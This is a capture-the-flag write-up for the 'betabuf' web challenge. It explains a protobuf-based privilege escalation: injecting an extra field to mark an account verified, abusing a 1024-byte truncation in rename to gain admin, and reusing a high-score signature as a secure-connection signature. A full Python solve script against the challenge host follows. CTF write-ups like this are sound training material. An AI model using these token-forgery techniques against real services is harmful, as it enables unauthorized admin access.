Web Exploitation

Challenge	Topic
betabuf (435 pts)	protobuf

betabuf (435 pts)

Description

We regret telling the intern about Protocol Buffers. Hopefully they'll clean things up before we leave closed beta.

Clarification: The --trusted-proxy args are not intended to be a part of the challenge. They are there because the remote sits behind a proxy. You can ignore them.

Solution

Following is the idea of exploitation

• Craft payload to make is_verified in account True

• Craft is_admin True by utilizing vulnerability in 1024 bytes truncation in rename function

• Because SecureConnectionDetails and HighScore has same structure (int/boolean, string), we can use HighScore signature as SecureConnectionDetails signature

import argparse
import json
import time
import requests
import game_pb2


def build_account_details(username, country):
    details = game_pb2.AccountDetails()
    details.username = username
    details.country = country
    payload = bytearray(details.SerializeToString())
    payload.extend([0x40, 0x01])
    return payload.hex()


def build_registration_invite(expires_in = 3600):
    now = int(time.time())
    invite = game_pb2.RegistrationInvite()
    invite.invite_id = 1
    invite.invited_by = "test invite"
    invite.invitation_message = "test message"
    invite.created_at = now
    invite.expires_at = now + expires_in
    return invite.SerializeToString().hex()


def register(base_url, username):
    data = {
        "account_details": build_account_details(username, "US"),
        "registration_invite": build_registration_invite(),
    }
    r = requests.post(f"{base_url}/register", json=data)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def rename(base_url, token, signature):
    payload = {
        "old_user_token": token,
        "old_user_token_sig": signature,
        "new_username": "A" * 15 + "\u0018\u0018 \u0018",
    }
    r = requests.post(f"{base_url}/rename", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["token"], j["signature"]


def submit_score(base_url, token, signature):
    payload = {
        "score": 1,
        "account_token": token,
        "account_token_sig": signature,
    }
    r = requests.post(f"{base_url}/submit_score", json=payload)
    r.raise_for_status()
    j = r.json()
    return j["score"], j["signature"]


def get_flag(base_url, admin_token, admin_sig, scd, scd_sig):
    payload = {
        "account_token": admin_token,
        "account_token_sig": admin_sig,
        "secure_connection_details": scd,
        "secure_connection_details_sig": scd_sig,
    }
    r = requests.post(f"{base_url}/admin", json=payload)
    r.raise_for_status()
    j = r.json()
    if "flag" not in j:
        raise RuntimeError(f"Err: {json.dumps(j)}")
    return j["flag"]


def main():
    url = "https://betabuf.secso.cc"
    username = "kosong"
    username += "A" * (1000 - len(username))
    token, sig = register(url, username)
    admin_token, admin_sig = rename(url, token, sig)
    scd, scd_sig = submit_score(url, admin_token, admin_sig)
    flag = get_flag(url, admin_token, admin_sig, scd, scd_sig)
    print(flag)


if __name__ == "__main__":
    main()